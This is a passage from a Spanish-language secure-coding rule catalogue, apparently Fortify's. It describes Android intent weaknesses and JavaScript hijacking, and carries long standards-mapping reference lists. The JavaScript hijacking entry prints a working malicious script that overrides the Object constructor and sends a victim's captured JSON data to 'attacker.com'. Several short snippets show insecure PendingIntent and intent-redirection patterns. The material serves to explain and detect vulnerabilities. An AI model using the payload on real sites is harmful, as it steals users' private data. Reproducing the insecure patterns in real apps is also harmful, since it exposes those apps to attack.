[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation
Abstract
Se ha detectado un Intent interno implícito. Los intents internos implícitos pueden exponer el sistema a ataques de tipo intermediario en componentes internos.
Explanation
Un Intent interno utiliza una acción personalizada definida por un componente interno. Los intents implícitos pueden facilitar la llamada de intenciones desde cualquier componente externo determinado sin conocimiento del componente específico. La combinación de ambos permite que una aplicación acceda a intenciones especificadas para un uso interno específico desde fuera del contexto de la aplicación deseada.

La capacidad de procesar un Intent desde una aplicación externa puede permitir una amplia variedad de explotaciones de intermediario que varían en gravedad. desde fuga de información y denegación de servicio hasta ejecución remota de código, dependiendo de la capacidad de acción interna especificada por el Intent.

Ejemplo 1: El siguiente código utiliza un Intent interno implícito.


...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
References
[1] Remediation of Implicit Internal Intent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_internal_intent
Abstract
Se ha detectado un PendingIntent implícito. Los intents pendientes implícitos pueden dar lugar a deficiencias de seguridad como denegación de servicio, fuga de información privada y del sistema y escalada de privilegios.
Explanation
Los intents de Android se utilizan para vincular aplicaciones y componentes de aplicaciones proporcionando instrucciones sobre las acciones que realiza un componente determinado. Los intents pendientes se crean para entregar el Intent más adelante. Los intents implícitos facilitan la llamada de intents desde cualquier componente externo determinado, utilizando un nombre general y un filtro para determinar la ejecución.

Cuando se crea un Intent implícito como PendingIntent, esto podría permitir que el Intent se envíe a un componente no deseado que se ejecuta fuera del contexto temporal previsto, dejando al sistema vulnerable para explotar vectores como la denegación de servicio, la fuga de información privada y del sistema y la escalada de privilegios.

Ejemplo 1: El código siguiente utiliza un PendingIntent implícito.


...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_pending_intent
Abstract
Se ha detectado un PendingIntent que tiene su valor de marca establecido en FLAG_MUTABLE. Los intents pendientes creados con el valor de marca FLAG_MUTABLE son susceptibles de tener campos Intent no especificados configurados en sentido descendente, que pueden modificar la capacidad del Intent y dejar el sistema expuesto a deficiencias.
Explanation
Permitir la modificación del Intent subyacente de un PendingIntent después de su creación puede dejar un sistema abierto a ataques. Esto depende principalmente de la capacidad general del Intent subyacente. En la mayoría de los casos, se recomienda evitar posibles problemas configurando la marca PendingIntent en FLAG_IMMUTABLE.

Ejemplo 1: El siguiente incluye un PendingIntent creado con un valor de marca de FLAG_MUTABLE.


...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE

val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_mutable_pending_intent
Abstract
El uso de un Intent anidado de una entrada externa para iniciar una actividad, iniciar un servicio o entregar una transmisión puede permitir que un atacante lance arbitrariamente componentes internos de la aplicación, controle el comportamiento de un componente interno o acceda indirectamente a datos protegidos de un proveedor de contenido a través de concesiones de permisos.
Explanation
Se produce un problema manipulación de intento de redireccionamiento cuando se cumplen las condiciones siguientes:
1. Un componente exportado acepta un Intent arbitrario anidado en el paquete de extras de un Intent proporcionado externamente.

2. El componente exportado utiliza el Intent arbitrario para iniciar un componente llamando a startActivity, startService o sendBroadcast.

Un atacante posiblemente pueda obtener una capacidad que de otro modo no estaría permitida cuando existen estas condiciones.
Ejemplo 1: El siguiente código acepta un Intent anidado de una fuente externa y usa ese Intent para iniciar una actividad.


...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
References
[1] Intent
[2] Remediation for Intent Redirection Vulnerability - Google Help
[3] Nicole Borrelli Android Nesting Intents
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark partial
[10] Standards Mapping - Common Weakness Enumeration CWE ID 99
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[19] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[20] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[21] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[22] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation_redirection
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
